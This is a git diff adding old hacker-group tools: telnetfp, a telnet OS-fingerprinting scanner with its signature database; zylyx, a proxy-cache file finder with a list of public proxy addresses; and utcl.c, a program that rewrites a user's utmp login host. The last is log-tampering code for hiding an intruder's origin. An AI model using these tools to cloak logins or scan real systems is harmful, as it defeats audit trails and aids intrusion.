+1,65 @@ +class tcp_socket +{ + private: + int sock; + + public: + + int sopen (char *host, int port) + { + int x = -1; + struct hostent *foo = NULL; + struct sockaddr_in addr; + + memset ((struct sockaddr_in *) &addr, 0, sizeof (struct sockaddr_in)); + + if ((addr.sin_addr.s_addr = inet_addr (host)) == -1) + { + if ((foo = gethostbyname (host)) == NULL) + return -2; + addr.sin_addr.s_addr = *(unsigned long *) (foo->h_addr_list[0]); + } + addr.sin_family = PF_INET; + addr.sin_port = htons (port); + sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP); + + x = connect (sock, (struct sockaddr *) &addr, sizeof (struct sockaddr_in)); + if (x != 0 || sock < 0) + return -1; + + return 0; + } + + + char *sread (int x) + { + char *y = NULL; + y = (char *) malloc (x + 1); + memset (y, 0x00, x + 1); + if (read (sock, y, x) < 1) + { + free (y); + return NULL; + } + return y; + } + + + int swrite (char *x) + { + return write (sock, x, strlen (x)); + } + + + void sclose () + { + close (sock); + } + + + void + init () + { + sock = 0; + } +}; diff --git a/other/telnetfp-0.1.2/fingerdb.cpp b/other/telnetfp-0.1.2/fingerdb.cpp new file mode 100644 index 0000000..f3007d5 --- /dev/null +++ b/other/telnetfp-0.1.2/fingerdb.cpp @@ -0,0 +1,144 @@ +class tdfpdb +{ + private: + char *db_file; + FILE *fd; + int integrity; + + public: + + int + compare_do_dont_line (char *line, unsigned char *d) + { + char *tmp = NULL; + + if ((line == NULL) || (d == NULL)) + return 0; + + while ((line[0] != 0) && (d[0] != 0)) + { + if (line[0] == '*') + { + integrity += 50; + return 1; + } + else if (line[0] == '?') + { + integrity++; + if (line[1] != 0) + line += 2; + return (compare_do_dont_line (line, d) || compare_do_dont_line (line, d + 1)); + } + else if (atoi (line) != d[0]) + return 0; + + d += 1; + tmp = strstr (line, " "); + if (tmp) + line = tmp + 1; + } + if ((tmp != NULL) || (d[0] != 0)) + return 0; + return 1; + } + + + void + find_in_db (unsigned char *dos, unsigned char *donts) + { + unsigned int x = 0; + char line[LINE_LENGTH + 1]; + + fseek (fd, 0, SEEK_SET); + while (!feof (fd)) + { + bzero (line, LINE_LENGTH + 1); + fgets (line, LINE_LENGTH, fd); + if (strstr (line, "DO: ") != NULL) + { + if (compare_do_dont_line (line + 6, dos)) + { + bzero (line, LINE_LENGTH + 1); + fgets (line, LINE_LENGTH, fd); + if (compare_do_dont_line (line + 6, donts)) + { + printf ("Found matching finger print: "); + if (integrity > 0) + printf ("\nWarning: fingerprint contained wildcards! (integrity: %d)\n", integrity); + while (!feof (fd)) + { + bzero (line, LINE_LENGTH + 1); + fgets (line, LINE_LENGTH, fd); + if ((strstr (line, "DO: ") == NULL) && (strlen (line) > 0)) + printf ("%s", line); + else + return; + } + } + } + } + } + printf ("\nNOT FOUND!\n\nplease mail the following lines and OS/machine type to pa1mers@gmx.de:\nDO: "); + for (x = 0; x < strlen ((char *) dos); x++) + printf ("%d ", dos[x]); + printf ("\nDONT: "); + for (x = 0; x < strlen ((char *) donts); x++) + printf ("%d ", donts[x]); + printf ("\n\n"); + } + + + int + open () + { + if (db_file == NULL) + { + db_file = (char *) malloc (strlen (DEFAULT_DB) + 1); + memset (db_file, 0, strlen (DEFAULT_DB) + 1); + memcpy (db_file, DEFAULT_DB, strlen (DEFAULT_DB)); + } + if ((fd = fopen (db_file, "r")) == NULL) + { + printf ("Error: can not open fingerprint file \"%s\"\n", db_file); + exit (2); + } + return 1; + } + + + void + close () + { + fclose (fd); + } + + + void + set (char *file) + { + if (db_file != NULL) + { + free (db_file); + } + db_file = (char *) malloc (strlen (file) + 1); + memset (db_file, 0, strlen (file) + 1); + memcpy (db_file, file, strlen (file)); + } + + + void + reset () + { + integrity = 0; + fseek (fd, 0, SEEK_SET); + } + + + void + init () + { + integrity = 0; + fd = NULL; + db_file = NULL; + } +}; diff --git a/other/telnetfp-0.1.2/fps b/other/telnetfp-0.1.2/fps new file mode 100644 index 0000000..dab5eec --- /dev/null +++ b/other/telnetfp-0.1.2/fps @@ -0,0 +1,302 @@ +#telnetfp fingerprints +#send more fingerprints to: pa1mers@gmx.de +# a '*' means: after this anything may follow +# a '?' represents no or any possible byte + +DO: 255 253 24 255 253 32 255 253 35 255 253 39 +DONT: 255 250 32 1 255 240 255 250 35 1 255 240 255 250 39 1 255 240 255 250 24 1 255 240 +Linux + +DO: 116 101 108 110 101 116 100 58 32 97 58 32 117 110 107 110 111 119 110 32 111 112 116 105 111 110 10 85 115 97 +DONT: 103 101 58 32 116 101 108 110 101 116 100 32 91 45 100 101 98 117 103 93 32 91 45 68 32 40 111 112 116 105 +Linux with authentication mode defined + +DO: 116 101 108 110 101 116 100 58 32 97 58 32 117 110 107 110 111 119 110 32 111 112 116 105 111 110 10 +DONT: 85 115 97 103 101 58 32 116 101 108 110 101 116 100 32 91 45 100 101 98 117 103 93 32 91 45 68 32 40 111 +Linux with authentication mode: none + +DO: 116 101 108 110 101 116 100 58 32 115 58 32 117 110 107 110 111 119 110 32 111 112 116 105 111 110 10 85 115 97 +DONT: 103 101 58 32 116 101 108 110 101 116 100 32 91 45 100 101 98 117 103 93 32 91 45 68 32 40 111 112 116 105 +Linux with support for SecurID cards enabled + +DO: 116 101 108 110 101 116 100 58 32 * +DONT: * +probably Linux + +DO: 85 115 97 103 101 58 32 116 101 108 110 101 116 100 32 91 45 100 101 98 117 103 93 32 91 45 68 32 40 111 +DONT: 112 116 105 111 110 115 124 114 101 112 111 114 116 124 101 120 101 114 99 105 115 101 124 110 101 116 100 97 116 97 +Linux (with TCP keep-alives enabled) + +DO: 255 253 24 255 253 32 255 253 35 255 253 39 255 253 36 +DONT: 255 250 32 1 255 240 255 250 35 1 255 240 255 250 39 1 255 240 255 250 24 1 255 240 +FreeBSD +Digital Unix 4.0d/e +NetBSD 1.4.2 +Tru64 UNIX V5.0A + +DO: 255 253 37 +DONT: 255 250 37 1 255 240 +OpenBSD 2.6 +BSDI 4.0 / 3.0 + +DO: 255 253 37 +DONT: 255 250 37 1 6 +FreeBSD 4.1-STABLE + +DO: 255 253 24 255 253 32 255 253 35 255 253 36 +DONT: 255 250 32 1 255 240 255 250 35 1 255 240 255 250 36 1 255 240 255 250 24 1 255 240 +IRIX 5.3 / 6.5 + +DO: 255 253 24 +DONT: 255 250 24 1 255 240 +AIX4 +SysV Unix 4.0 +SunOS 4.0 / 5.4 +Packeteer PacketShaper 1500 + +DO: 13 10 77 97 115 116 101 114 46 13 10 +DONT: 255 251 3 +SunOS 5.6 + +DO: 255 253 24 255 253 31 255 253 35 255 253 39 255 253 36 +DONT: 255 250 24 1 255 240 255 250 35 1 255 240 255 250 39 1 255 240 255 250 36 1 255 240 +SunOS 5.8 / 5.7 / 5.6 / 5.5 / 5.5.1 +SysV Unix 4.0 + +DO: 255 253 37 +DONT: 255 250 37 1 2 2 2 +SCO OpenServer Release 5 + +DO: 255 251 1 +DONT: 10 13 67 111 112 121 114 105 103 104 116 32 40 67 41 32 49 57 57 57 32 98 121 32 32 69 120 116 114 101 +Black Diamond switch + +DO: 255 251 1 255 253 3 13 10 27 72 27 88 13 10 13 10 87 101 108 99 111 109 101 32 116 111 32 66 73 65 +DONT: 78 67 65 47 66 82 73 67 75 45 88 76 32 118 101 114 115 105 111 110 32 86 46 53 46 49 32 82 101 118 +Bintec Brick + +DO: 255 251 1 +DONT: 255 251 3 255 253 3 13 10 13 10 40 109 97 120 50 46 100 105 97 108 105 110 45 102 102 109 41 32 69 110 +Lucent MAX TNT + +DO: 255 251 1 255 251 3 255 253 3 13 10 13 10 40 78 66 41 32 69 110 116 101 114 32 112 97 115 115 119 111 +DONT: 114 100 58 32 +Ascend Pipeline 50 ISDN router + +DO: 255 251 1 255 251 3 255 253 3 13 10 13 10 40 116 115 117 106 49 46 107 117 114 97 115 99 46 107 121 111 +DONT: 116 111 45 117 46 97 99 46 106 112 41 32 69 110 116 101 114 32 112 97 115 115 119 111 114 100 58 32 +Ascend Pipeline 50 + +DO: 255 251 1 255 251 3 +DONT: 13 10 69 110 116 101 114 32 58 32 60 104 111 115 116 62 32 91 112 111 114 116 93 32 58 32 +Windows + +DO: 255 253 37 255 251 1 255 253 3 255 253 31 255 253 +DONT: 255 250 37 1 15 +W2000 + +DO: 255 251 1 255 251 3 +DONT: 13 10 13 10 87 101 108 99 111 109 101 32 116 111 32 116 104 101 32 84 101 108 110 101 116 32 83 101 114 118 +Windows + +DO: 255 254 1 +DONT: 255 253 3 255 253 24 255 253 31 255 251 3 255 251 1 +Ataman Telnetd Server for Windows + +DO: 255 251 1 255 251 +DONT: 255 253 3 +Windows (FirstClass Telnet Daemon) + +DO: 255 251 3 255 251 1 255 251 +DONT: 65 117 116 111 45 115 101 110 115 105 110 103 46 46 46 13 10 32 32 32 32 27 91 54 110 8 8 8 8 13 +Windows NT, Worldgroup Xtreme Radical Chat server by Galacticomm + +DO: 255 253 31 +DONT: 255 253 24 255 251 1 255 251 3 10 87 101 108 99 111 109 101 32 116 111 32 71 111 111 100 84 101 99 104 32 +GoodTech Telnet Server for Windows NT (V2.2.1) + +DO: 255 251 1 255 251 3 255 253 24 13 10 10 76 97 110 116 114 111 110 105 120 32 69 80 83 49 32 86 101 114 +DONT: 115 105 111 110 32 86 51 46 53 47 49 40 57 55 48 51 50 53 41 10 13 10 +Lantronix EPS1 Version V3.5/1(970325) + +DO: 255 253 3 255 251 1 27 91 50 74 27 91 49 59 49 72 27 91 48 109 27 91 63 51 108 27 91 48 59 49 +DONT: 109 27 40 48 27 91 49 59 49 72 108 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 +CABLETRON EMME Local Management + +DO: 255 253 3 255 251 1 27 91 50 74 27 91 49 59 49 72 27 91 48 109 27 91 63 51 108 27 40 48 27 91 +DONT: 50 59 52 48 72 27 40 66 27 40 48 27 91 50 59 50 56 72 27 40 66 50 69 52 50 45 50 55 32 76 +CABLETRON 2E42-27 LOCAL MANAGEMENT + +DO: 255 253 3 255 251 1 27 91 50 74 27 91 49 59 49 72 27 91 48 109 27 91 63 51 108 27 * +DONT: * +probably some CABLETRON + +DO: 255 253 3 255 251 1 255 251 3 +DONT: 27 91 49 59 49 72 27 91 50 75 27 91 50 59 49 72 27 91 50 75 27 91 51 59 49 72 27 91 50 75 +BayStack 350-24T or 350F (HW:RevA) + +DO: 27 91 50 74 +DONT: 27 40 48 27 91 48 49 59 48 48 72 108 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 113 +3Com superstackII + +DO: 13 10 13 +DONT: 97 115 110 45 103 119 58 32 70 111 114 101 82 117 110 110 101 114 32 65 83 78 45 57 48 48 48 44 32 65 +ForeRunner ASN-9000 + +DO: 255 251 1 +DONT: 255 254 1 255 251 3 255 253 3 27 91 72 27 91 74 80 97 116 116 111 110 32 69 108 101 99 116 114 111 110 +Patton Electronics Company Model 2800 Remote Access Server Software Revision 2.3.1 + +DO: 255 251 1 +DONT: 10 13 +Accelerated Networks - High Speed Integrated Access VoDSL + +DO: 255 251 1 255 251 3 +DONT: 13 10 10 13 +CableTron SmartSwitch Router 720 +Lucent PortMaster 2E + +DO: 255 253 36 +DONT: 255 250 36 1 3 255 240 +HP-UX B.10.20 + +DO: 255 252 1 +DONT: 13 10 72 80 32 74 101 116 68 105 114 101 99 116 13 10 13 10 80 108 101 97 115 101 32 116 121 112 101 32 +HP JetDirect Telnet + +DO: 255 253 24 +DONT: 255 251 1 27 91 50 74 27 91 63 55 108 27 91 52 59 50 51 114 27 91 63 54 108 27 91 49 59 49 72 +HP J4121A ProCurve Switch 4000M Firmware revision C.08.03 + +DO: 255 253 24 255 251 1 +DONT: 27 91 50 74 27 91 63 55 108 27 91 52 59 50 51 114 27 91 63 54 108 27 91 49 59 49 72 27 91 63 +HP Advancestack Etherswitch + +DO: 255 251 1 255 251 3 255 253 3 27 91 72 27 91 50 74 27 91 109 15 27 91 72 27 91 50 74 27 91 109 +DONT: 15 27 61 27 91 63 55 108 27 41 48 94 79 27 91 109 27 91 72 27 91 50 74 27 91 109 15 27 91 49 +Intel Express Router 9100 + +DO: 87 101 108 99 111 109 101 32 116 111 32 116 104 101 32 73 110 116 101 114 77 97 112 112 101 114 32 111 112 101 +DONT: 114 97 116 105 111 110 115 32 105 110 116 101 114 102 97 99 101 46 13 10 69 110 116 101 114 32 39 104 101 108 +MacOS 9 running Intermapper + +DO: 255 251 1 255 251 3 10 13 10 13 10 13 10 13 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 +DONT: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 +Apple LaserWriter 16/600 PS + +DO: 255 251 3 +DONT: 255 251 1 +Multi-Tech Systems Firewall Version 3.00 + +DO: 255 251 3 255 251 1 255 253 31 255 251 5 255 253 33 +DONT: 72 101 108 108 111 44 32 49 57 52 46 50 57 46 53 57 46 57 57 44 32 116 104 105 115 32 105 115 32 65 +Compatible Systems Microrouter 2220R + +DO: 255 251 1 255 251 3 255 253 24 255 253 31 +DONT: 13 10 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 +Cisco 3640 Router/Switch + +DO: 255 251 1 255 251 3 255 253 24 255 253 31 +DONT: 67 32 32 32 32 32 32 32 32 32 32 85 77 110 101 116 32 66 97 99 107 98 111 110 101 32 40 99 45 80 +Cisco terminal server 2501/5260/5300 + +DO: 255 251 1 255 251 3 255 253 24 255 253 31 +DONT: 67 32 13 10 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 +Cisco terminal server + +DO: 255 253 3 255 251 3 +DONT: 255 251 1 +Cisco Catalyst 2820 / 1900 + +DO: 255 251 1 255 251 3 255 253 24 +DONT: 13 10 13 10 66 105 101 110 118 101 110 105 100 111 32 97 108 58 13 10 73 110 115 116 105 116 117 116 111 32 +Cisco CPA2500 or 2511 router + +DO: 255 251 1 255 251 3 255 253 24 255 253 31 +DONT: 13 10 67 105 115 99 111 32 55 53 48 55 32 82 111 117 116 101 114 13 10 13 10 82 111 111 109 32 66 54 +Cisco 7507 Router + +DO: 255 251 1 255 251 3 255 253 24 255 253 31 +DONT: 13 10 * +probably some cisco + +DO: 255 251 1 +DONT: 255 251 3 +AXIS PrintPoint 560/100 TELNET Print server V5.36 Jul 7 1997 + +DO: 255 251 1 255 251 3 +DONT: 13 10 +AXIS 540+/542+ TELNET Print Server V5.55 Nov 27 1998 + +DO: 255 251 1 255 251 1 67 111 110 110 101 99 116 101 100 32 116 111 32 68 101 108 77 111 110 116 101 33 13 10 +DONT: 13 10 80 97 115 115 119 111 114 100 58 32 +Epson Stylus (100BTX-NIC) + +DO: 255 251 1 +DONT: 10 13 45 62 32 42 42 42 32 32 69 80 83 79 78 32 78 101 116 119 111 114 107 32 80 114 105 110 116 32 +EPSON Network Print Server + +DO: 255 251 1 +DONT: 255 251 3 13 10 81 77 83 32 67 114 111 119 110 78 101 116 32 32 82 101 118 32 32 51 46 49 50 32 13 +QMS CrownNet Rev. 3.12 + +DO: 255 251 1 +DONT: 255 251 3 81 77 83 32 67 114 111 119 110 78 101 116 32 82 101 118 32 69 50 46 48 53 13 10 81 77 83 +QMS CrownNet Rev. E2.05 + +DO: 255 251 1 +DONT: 255 251 3 81 77 83 32 67 114 111 119 110 78 101 116 32 82 101 118 32 69 50 46 48 53 97 13 10 81 77 +QMS CrownNet Rev. E2.05a + +DO: 255 251 1 +DONT: 255 251 3 13 10 81 77 83 32 67 114 111 119 110 78 101 116 32 32 82 101 118 32 32 53 46 49 52 70 69 +QMS CrownNet Rev. 5.14FE + +DO: 255 251 1 +DONT: 255 251 3 13 10 81 77 83 32 67 114 111 119 110 78 101 116 32 32 82 101 118 32 32 52 46 54 49 32 13 +QMS CrownNet Rev. 4.61 + +DO: 255 251 1 +DONT: 255 251 3 13 10 81 77 83 32 67 114 111 119 110 78 101 116 32 32 82 101 118 32 32 53 46 52 55 70 69 +QMS CrownNet Rev. 5.47FE + +DO: 255 251 1 +DONT: 255 251 3 13 10 81 77 83 32 67 114 111 119 110 78 101 116 32 32 82 101 118 32 32 53 46 50 51 69 78 +QMS CrownNet Rev. 5.23EN + +DO: 255 251 1 +DONT: 255 251 3 13 10 81 77 83 32 67 114 111 119 110 78 101 116 32 32 82 101 118 32 32 51 46 49 53 32 13 +QMS CrownNet Rev. 3.15 + +DO: 255 251 1 +DONT: 255 251 3 13 10 81 77 83 32 67 114 111 119 110 78 101 116 32 32 82 101 118 32 32 53 46 49 56 69 78 +QMS CrownNet Rev. 5.18EN + +DO: 255 251 1 +DONT: 255 251 3 ? ? 81 77 83 32 67 114 111 119 110 78 101 116 32 ? 82 101 118 32 * +probably QMS CrownNet + +DO: 255 251 1 255 251 3 45 45 13 10 45 45 32 32 64 32 64 32 32 112 114 105 115 109 46 111 107 117 109 97 +DONT: 46 110 117 101 101 46 110 97 103 111 121 97 45 117 46 97 99 46 106 112 32 80 82 79 88 89 45 116 101 108 +DeleGate/5.6.6 Telnet-proxy + +DO: 255 251 1 13 10 78 101 116 112 111 114 116 69 120 112 114 101 115 115 40 116 109 41 32 80 82 79 47 49 48 +DONT: 48 13 10 80 82 70 50 70 69 53 52 13 10 13 10 108 111 103 105 110 58 32 +NetportExpress PRO/100 (running COS v. V4.00a) + +DO: 255 251 1 +DONT: 255 253 3 +CONTEC FLEXLAN Firmware Version 1.18 + +DO: 255 253 3 255 251 1 255 251 3 +DONT: 74 67 45 67 79 78 78 69 67 84 32 74 101 116 76 65 78 51 49 48 48 32 86 101 114 32 49 46 48 46 +Japan Computer Industry Inc. JetLAN3100 Ver 1.0.1 TELNET server + +DO: 67 104 101 99 107 32 80 111 105 110 116 32 70 105 114 101 87 97 108 108 45 49 32 97 117 116 104 101 110 116 +DONT: 105 99 97 116 101 100 32 84 101 108 110 101 116 32 115 101 114 118 101 114 32 114 117 110 110 105 110 103 32 111 +Check Point FireWall-1 Telnet Server + +DO: 255 253 3 255 251 3 255 251 1 +DONT: 27 +BayStack 28115 (Fast Ethernet Switch, sw: 2.0.4.1a) + diff --git a/other/telnetfp-0.1.2/telnetfp.cpp b/other/telnetfp-0.1.2/telnetfp.cpp new file mode 100644 index 0000000..f3bff8a --- /dev/null +++ b/other/telnetfp-0.1.2/telnetfp.cpp @@ -0,0 +1,267 @@ +/* + * telnet do/dont negotiation fingerprinting + * by Palmers / teso || pa1mers@gmx.de + */ + +#include + + +class main_prog +{ +private: +tcp_socket con; +tdfpdb db; +short verbose, + timeout; + + +void +convert_ascii_to_bin (char *line, unsigned char *bin) +{ + char *tmp = NULL; + + line += 6; + while (line != NULL) + { + *bin = atoi (line); + bin++; + if ((tmp = strstr (line, " ")) == NULL) + return ; + line = tmp + 1; + } +} + + +public: + +void +interactBin () + { + unsigned char do_d[31], dont_d[31]; + + db.open (); + while (1) + { + memset (do_d, 0, 31); + memset (dont_d, 0, 31); + read (STDIN_FILENO, do_d, 30); + read (STDIN_FILENO, dont_d, 30); + db.find_in_db (do_d, dont_d); + db.reset (); + } + } + + +void +interactAscii () + { + unsigned char line[LINE_LENGTH + 1], do_d[31], dont_d[31]; + + db.open (); + while (1) + { + memset (do_d, 0, 31); + memset (dont_d, 0, 31); + memset (line, 0, LINE_LENGTH + 1); + read (STDIN_FILENO, line, LINE_LENGTH); + if (strstr ((char *) line, "DO: ") != NULL) + { + convert_ascii_to_bin ((char *) line, do_d); + memset (line, 0, LINE_LENGTH + 1); + read (STDIN_FILENO, line, LINE_LENGTH); + if (strstr ((char *) line, "DONT: ") != NULL) + { + convert_ascii_to_bin ((char *) line, dont_d); + db.find_in_db (do_d, dont_d); + db.reset (); + } + } + } + } + + +int +switch_verbosity () + { + return (verbose ^= 1); + } + + +/* + * void send_will_wont (unsigned char *): + * reply to do / dont request with propper will / wont. + */ +void +send_will_wont (unsigned char *a) +{ + unsigned char will[] = {IAC, WILL, 0, 0}, + wont[] = {IAC, WONT, 0, 0}; + while (strlen ((char *) a) > 0) + { + if (a[0] == IAC) + { + if (a[1] == DO) + { + will[2] = a[2]; + con.swrite ((char *) will); + } + else if (a[1] == DONT) + { + wont[2] = a[2]; + con.swrite ((char *) wont); + } + } + a += 3; + } +} + + +void +usage (char *s) +{ + printf ("Usage: %s [-v -d ] \n", s); + printf ("\t-v:\t\t turn off verbose output\n"); + printf ("\t-t :\t\t set timeout for connect attemps\n"); + printf ("\t-d :\t define from which file finger prints shall be read (default: %s)\n", DEFAULT_DB); + printf ("\t-i (b|a):\t interactive mode. read either (b)inary or (a)scii fingerprints from stdin\n"); + exit (1); +} + + +main_prog (int argc, char **argv) +{ + int x = 1; + printf (PROGRAM VERSION " by "AUTHOR "\n"); + verbose = 1; + timeout = 5; + + db.init (); + + if (argc < 2) + usage (argv[0]); + while ((argc - 1) > x) + { + if (argv[x][0] == '-') + { + switch (argv[x][1]) + { + case 'v': + switch_verbosity (); + break; + case 't': + x++; + timeout = atoi (argv[x]); + break; + case 'd': + x++; + if (!((x) < argc)) + usage (argv[0]); + db.set (argv[x]); + break; + case 'i': + x++; + if (argv[x][0] == 'b') + { + interactBin (); + } + else if (argv[x][0] == 'a') + { + interactAscii (); + } + else + usage (argv[0]); + break; + default: + usage (argv[0]); + } + } + else + usage (argv[0]); + x++; + } + con.init (); + check (argv[argc - 1]); +} + + +void +check (char *host) +{ + unsigned char *do_d = NULL, *dont_d = NULL; + int x = 0; + + db.open (); + alarm (timeout); + if (con.sopen (host, 23) != 0) + { + printf ("sopen: can not connect to \"%s\"\n", host); + exit (3); + } +/* + * 1.: get do's + */ + if ((do_d = (unsigned char *) con.sread (30)) == NULL) + { + exit (4); + } + if (verbose) + { + printf ("DO: "); + for (x = 0; x < strlen ((char *) do_d); x++) + printf ("%d ", do_d[x]); + printf ("\n"); + } + +/* + * 2.: reply will's + */ + send_will_wont (do_d); + +/* + * 3.: get dont's + */ + if ((dont_d = (unsigned char *) con.sread (30)) == NULL) + { + exit (5); + } + if (verbose) + { + printf ("DONT: "); + for (x = 0; x < strlen ((char *) dont_d); x++) + printf ("%d ", dont_d[x]); + printf ("\n"); + } + +/* + * 4.: reply wont's + */ + send_will_wont (dont_d); + + con.sclose (); + +/* + * look up fp, do some output + */ + db.find_in_db (do_d, dont_d); + db.close (); + exit (0); +} +}; + + +void alarmHandler (int x) +{ + alarm (0); + fprintf (stderr, "got timeout\n"); + return; +} + + +int +main (int argc, char **argv) +{ + siginterrupt(SIGALRM, 1); + signal (SIGALRM, alarmHandler); + + main_prog a(argc, argv); +} diff --git a/other/telnetfp-0.1.2/telnetfp.hpp b/other/telnetfp-0.1.2/telnetfp.hpp new file mode 100644 index 0000000..25e9cf7 --- /dev/null +++ b/other/telnetfp-0.1.2/telnetfp.hpp @@ -0,0 +1,20 @@ +#define PROGRAM "telnetfp" +#define VERSION "0.1.2" +#define AUTHOR "palmers / teso" +#define DEFAULT_DB "fps" +#define LINE_LENGTH 126 + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include diff --git a/other/utmpcloak/utcl.c b/other/utmpcloak/utcl.c new file mode 100644 index 0000000..c2be232 --- /dev/null +++ b/other/utmpcloak/utcl.c @@ -0,0 +1,80 @@ +/* HiHo, + this utility changes the host of a given username (all his logins affected) + usage is utcl where host is the desired host (only 20 chars) + + this piec of software is mostly ripped from ute.c which i found on my hdd + and dont know where it came from.. many thanks to the author of this one.. + thanks goes also out to xdr who gave me the idea of writing this (he wrote + such thingie, but then lost it @#$! ;) + + have fun... + -hendy (flames to hendy@winterland.net) + + greetings: (oh, this is lame, i know) to #!teso, #hax, #hack + + // hope it's not too lame + + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +// #define UTMP_FILE "/var/run/utmp" /* should have been defined in utmp.h */ +#define MAX_ENT 100 + +int +main (int argc, char **argv) +{ + int item; + struct utmp Entry[MAX_ENT + 1]; + off_t position[MAX_ENT + 1]; + FILE *fptr; + + if (argc < 3) + { + printf ("usage: %s \n", argv[0]); + exit (1); + } + + if ((fptr = fopen (UTMP_FILE, "r+")) != NULL) + { + int last, num, i = 1; /* get all utmp entries. */ + while (fread (&Entry[i], sizeof (Entry[i]), 1, fptr) > 0) + { + if (strcmp (Entry[i].ut_line, "") != 0) /* skip empty entries */ + { + position[i] = ftell (fptr) - (long) (sizeof (Entry[i])); + i++; + } + } + last = i - 1; /* keep a tab on how many entries there are. */ + position[i] = ftell (fptr); /* keep track of EOF */ + + for (item = 1; item <= last; item++) + { + + if (!(strcmp (Entry[item].ut_name, argv[1]))) + { + strcpy (Entry[item].ut_host, argv[2]); /* insert new host */ + fseek (fptr, position[item], SEEK_SET); /* seek position in utmp */ + fwrite (&Entry[item], sizeof (Entry[num]), 1, fptr); /* write to file */ + + } + } + + + fclose (fptr); + } + else + { + printf ("\nERROR: cannot open file %s \n", UTMP_FILE); + } + return (0); +} diff --git a/other/zylyx/ChangeLog b/other/zylyx/ChangeLog new file mode 100644 index 0000000..f8c7b6e --- /dev/null +++ b/other/zylyx/ChangeLog @@ -0,0 +1,21 @@ + +0.1.1 (990824) + - added minor output explanations + - added anti-flood mechanism + - fixed processing of results, where a result may have been overwritten + - fixed print functions + +0.1.0 (990824) + - first working version + +0.0.2 (990824) + - fixed thread resource freeing + - synchronized screen functions in an ugly way + - implemented proxy checks, working + +0.0.1 (990822) + - wrote core structure, event modell + - proxy functions in proxy.c + - slang utilizing gui in fancy colors, oldskewl + + diff --git a/other/zylyx/ReadMe b/other/zylyx/ReadMe new file mode 100644 index 0000000..484997c --- /dev/null +++ b/other/zylyx/ReadMe @@ -0,0 +1,75 @@ + +zylyx - file find +by team teso + +readme file (don't blame me for my english) + + +1. introduction + + zylyx is a multiple purpose http url locator, which is able to find files + that would be otherwise lost. it tries to find files within the caches of + http proxies that are no longer existent on their original location. to + do this it spawns a number of subprocesses which each connect to a proxy + server and try to retrieve the original url. if the proxy doesn't have + the file it fails, else the subprocess returns the file location. + + +2. requirements for compilation + + you need: + + - a ansi conform c compiler (gcc/egcs) -> www.gnu.org + - installed posix thread library (libpthread) -> www.freshmeat.net + - installed s-lang library (libslang) -> www.s-lang.org + + after installing these, just run + + cd src + make + + if you still don't get it compiled, this program wasn't intended for you + to use. + + +3. usage + + to use this program you need a list of public http proxy servers, if you + don't have one, you may want to get some from the web. (hint: you may + easily find some if you enter like "public http proxy :3128 :8080" into + good searching engines like google.com). + you may want to validate the list before you start using it, by using + proxy scanners (like "numby", another fine release from teso). + + the proxy list has to be named "proxy-list" and has to be in your + current working directory as you start zylyx. the format of the proxy + list is very simple, i even think carolyn meinel is able to use it: + + : + + mhh... no, she cannot use it. + + now, after prepared the fine list (or just use the included one), try it + by surfing to one of this lame mp3 chart pages, with this broken links. + choose a popular one, and copy the exact url of the broken link. then + run: + + ./zylyx + + enjoy the show of the dots ;-). + + +4. information + + greets from scut: + + acpizer, avoozl, axhate, blackb, blow, bigblue, crestor, davy, domnar, + edi, focht, foxfire, fungus, garry, hendy, hoopy, js, kafka, lorian, + mindtrip, moc, overhead, oxigen, packwahn, plasmoid, random, spy, tb303, + tis, toniq, typo, vax, waterloo, wilkins, yks, yodler, zap. + + + dream team teso is edi, hendy, oxigen, scut, typo and zap. + + visit us at http://teso.scene.at/ + diff --git a/other/zylyx/proxy-list b/other/zylyx/proxy-list new file mode 100644 index 0000000..577b025 --- /dev/null +++ b/other/zylyx/proxy-list @@ -0,0 +1,724 @@ +105-gw.wohnheim.uni-ulm.de:3128 +128.32.45.124:3128 +130.11.48.70:3128 +130.179.16.143:3128 +131.154.1.16:3128 +132.248.56.106:3128 +139.130.239.250:3128 +139.130.255.18:3128 +139.130.54.190:3128 +139.130.77.14:3128 +141.20.52.7:3128 +141.20.57.7:3128 +141.201.80.3:3128 +141.55.191.61:3128 +142.169.178.10:3128 +143.88.7.191:3128 +145.249.14.228:3128 +148.233.137.2:3128 +150.176.192.3:3128 +163.21.68.7:3128 +167.114.128.34:3128 +192.132.34.113:3128 +192.156.154.34:3128 +192.44.58.88:3128 +192.83.190.6:3128 +193.12.6.144:3128 +193.124.28.161:3128 +193.125.84.150:3128 +193.15.106.147:3128 +193.15.106.19:3128 +193.15.106.211:3128 +193.15.106.227:3128 +193.233.208.3:3128 +193.4.194.111:8088 +193.6.214.3:3128 +194.105.246.39:81 +194.120.34.1:3128 +194.83.240.10:3128 +194.83.240.22:3128 +194.83.240.31:3128 +194.83.240.4:3128 +194.83.240.9:3128 +194.87.44.122:3128 +194.95.215.135:3128 +195.139.219.75:3128 +195.170.63.235:3128 +195.179.249.136:3128 +195.19.202.65:3128 +195.20.199.3:3128 +195.202.132.141:3128 +195.208.248.22:3128 +195.208.249.19:3128 +195.226.128.3:3128 +195.230.152.74:3128 +195.239.152.130:3128 +195.243.97.3:3128 +195.26.224.40:3128 +195.4.55.17:3128 +195.74.96.46:3128 +195.81.46.11:3128 +195.90.161.78:3128 +198.82.161.226:3128 +199.176.176.36:81 +199.176.228.108:3128 +199.190.222.114:3128 +199.190.222.117:3128 +199.190.222.3:3128 +200.135.24.66:3128 +200.21.157.18:3128 +200.21.224.121:3128 +200.215.116.1:3128 +200.26.26.34:3128 +202.48.159.41:81 +202.58.128.66:3128 +203.137.6.196:3128 +203.14.100.33:3128 +203.14.103.67:3128 +203.176.13.4:8888 +203.176.4.4:8888 +203.30.90.62:3128 +203.30.90.8:3128 +203.32.165.99:8001 +203.37.185.65:3128 +203.37.242.8:3128 +203.56.200.44:3128 +203.57.1.3:3128 +203.73.89.1:3128 +204.112.178.11:3128 +204.112.54.11:3128 +204.197.27.2:8002 +205.148.210.18:3128 +205.236.72.65:3128 +206.107.118.18:3128 